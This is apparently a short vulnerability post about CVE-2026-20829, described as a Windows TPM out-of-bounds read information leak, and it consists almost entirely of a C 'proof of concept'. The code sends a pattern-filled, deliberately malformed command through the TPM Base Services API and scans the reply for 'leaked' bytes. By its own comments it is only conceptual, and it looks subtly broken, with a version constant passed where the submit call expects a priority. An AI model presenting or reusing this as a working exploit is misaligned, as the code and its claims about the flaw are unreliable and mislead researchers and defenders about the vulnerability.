CVE-2026-20829: Windows TPM越界读取信息泄露漏洞

// CVE-2026-20829 PoC - Windows TPM Out-of-Bounds Read // Author: Security Researcher // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <tbs.h> #include <stdio.h> #pragma comment(lib, "tbs.lib") int main() { TBS_CONTEXT_PARAMS params; TBS_CONTEXT_HANDLE context = NULL; TBS_HCONTEXT hContext; HRESULT hr; printf("CVE-2026-20829 Windows TPM OOB Read PoC\n"); printf("=====================================\n\n"); // Initialize TBS context params.version = TBS_CONTEXT_VERSION_ONE; params.flags = TBS_CONTEXT_FLAG_NONE; hr = Tbsi_Context_Create(&params, &hContext); if (FAILED(hr)) { printf("[-] Failed to create TBS context: 0x%08X\n", hr); return 1; } printf("[+] TBS context created successfully\n"); // Attempt to trigger OOB read condition // This would involve crafting specific TPM commands // The actual exploitation requires deeper knowledge of TPM internals // Example: Attempting to read beyond allocated buffer BYTE cmdBuffer[64]; BYTE respBuffer[256]; UINT32 respSize = sizeof(respBuffer); memset(cmdBuffer, 0x41, sizeof(cmdBuffer)); // Fill with pattern memset(respBuffer, 0x00, sizeof(respBuffer)); // Modify command to trigger OOB condition cmdBuffer[6] = 0xFF; // Malformed command hr = Tbsip_Submit_Command( hContext, TBS_COMMAND_LOCALITY_ZERO, TBS_COMMAND_VERSION_ONE, cmdBuffer, sizeof(cmdBuffer), respBuffer, &respSize ); if (hr == S_OK) { printf("[+] Command submitted, analyzing response...\n"); // Check for leaked data in response for (int i = 0; i < respSize; i++) { if (respBuffer[i] != 0x00 && respBuffer[i] != 0x41) { printf("[!] Potential leaked data at offset %d: 0x%02X\n", i, respBuffer[i]); } } } else { printf("[-] Command failed: 0x%08X\n", hr); } Tbsip_Context_Close(hContext); printf("\n[!] Note: This PoC is for research purposes only.\n"); return 0; }